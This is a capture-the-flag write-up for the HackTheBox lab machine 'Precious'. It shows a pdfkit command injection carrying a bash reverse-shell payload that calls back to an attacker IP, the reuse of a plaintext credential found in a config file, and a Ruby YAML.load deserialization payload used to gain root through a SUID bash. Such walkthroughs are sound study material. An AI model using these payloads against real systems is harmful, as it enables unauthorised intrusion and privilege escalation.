Summary

We start this machine by exploiting a command injection of a ruby package to gain a foothold, and escalate that to user with hard coded credentials. For root a simple ruby script exploitation of a load() function will do the trick.

Enumeration

┌─[✗]─[raccoon@cyberraccoon-virtualbox]─[~/_hacking/HackTheBox/Active/Precious]
└──╼ $nmap -Pn 10.10.11.189
Starting Nmap 7.92 ( https://nmap.org ) at 2023-02-24 19:54 CST
Nmap scan report for 10.10.11.189
Host is up (0.051s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

I’ll add 10.10.11.189 precious.htb to my /etc/hosts file.

Port 80 - http

Web Page to PDF

The webpage takes a url and returns the pdf of that page. I tried fuzzing the parameters but it is very fussy about if it is a url, and will return a blank pdf if any escape characters are used. I tried looking into the request itself but there wasn’t anything special. I did however look into exiftool on the returned pdf and found something noteworthy.

┌─[raccoon@cyberraccoon-virtualbox]─[~/Downloads]
└──╼ $exiftool lqe0xeipshi2qi6xl6ul6w69mddf81an.pdf 
ExifTool Version Number         : 12.16
File Name                       : lqe0xeipshi2qi6xl6ul6w69mddf81an.pdf
Directory                       : .
File Size                       : 4.5 KiB
File Modification Date/Time     : 2023:02:24 20:44:32-06:00
File Access Date/Time           : 2023:02:24 20:44:32-06:00
File Inode Change Date/Time     : 2023:02:24 20:44:32-06:00
File Permissions                : rw-r--r--
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.4
Linearized                      : No
Page Count                      : 1
Creator                         : Generated by pdfkit v0.8.6

Shell as ruby

pdfkit v0.8.6

Ladies and gentlemen we have what generated this, and would you believe that pdfkit v0.8.6 is vulnerable to CVE-2022-25765. With ?name=%20` you can run arbitrary code past the grave. From an in-depth analysis of the CVE: If the provided parameter happens to contain a URL encoded character and a shell command substitution string, it will be included in the command that PDFKit executes to render the PDF. Below is the payload I can toss into the webpage to gain a shell:

http://?name=%20`bash -c 'bash -i >& /dev/tcp/10.10.14.14/7777 0>&1'`
┌─[raccoon@cyberraccoon-virtualbox]─[~/_hacking/HackTheBox/Active/Precious]
└──╼ $nc -nvlp 7777
listening on [any] 7777 ...
connect to [10.10.14.14] from (UNKNOWN) [10.10.11.189] 43208
bash: cannot set terminal process group (677): Inappropriate ioctl for device
bash: no job control in this shell
ruby@precious:/var/www/pdfapp$

I added an ssh key for future reconnection and a better shell.

User as henry

In the ruby home directory I find another directory, which looking inside I see what looks like henry’s credentials.

ruby@precious:~$ cd .bundle
ruby@precious:~/.bundle$ ls
config
ruby@precious:~/.bundle$ cat config
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"
ruby@precious:~/.bundle$ 
┌─[raccoon@cyberraccoon-virtualbox]─[~/_hacking/HackTheBox/Active/Precious]
└──╼ $ssh henry@precious.htb
henry@precious.htb's password: 
Linux precious 5.10.0-19-amd64 #1 SMP Debian 5.10.149-2 (2022-10-21) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
henry@precious:~$ cat user.txt
1969b57ae399e77-----------------

Root

henry@precious:~$ sudo -l
Matching Defaults entries for henry on precious:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User henry may run the following commands on precious:
    (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb

Looks to be a custom script to verify dependency versions written in ruby. I do some digging and find that the yaml.load() function has been vulnerable for a long time to RCE. I make my payload and run the exploit.

---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: id
         method_id: :resolve

The command that this exploit runs is after the git_set parameter. When yaml.load() accepts user input you can require a dependency that escapes to the system method within the kernel and run commands. It’s out of the scope of my writeups but SafeYAML is apparently the recommended fix.

henry@precious:~$ sudo ruby /opt/update_dependencies.rb 
sh: 1: reading: not found
uid=0(root) gid=0(root) groups=0(root)
Traceback (most recent call last):
	33: from /opt/update_dependencies.rb:17:in `<main>'
	32: from /opt/update_dependencies.rb:10:in `list_from_file'
	31: from /usr/lib/ruby/2.7.0/psych.rb:279:in `load'
	30: from /usr/lib/ruby/2.7.0/psych/nodes/node.rb:50:in `to_ruby'
	29: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
	28: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
	27: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
	26: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:313:in `visit_Psych_Nodes_Document'
    ...
    ...

Bingo, RCE. I’ll change id to chmod u+s /bin/bash and gain a root shell.

henry@precious:~$ /bin/bash -p
bash-5.1# cat /root/root.txt
bea16d93eba8a559----------------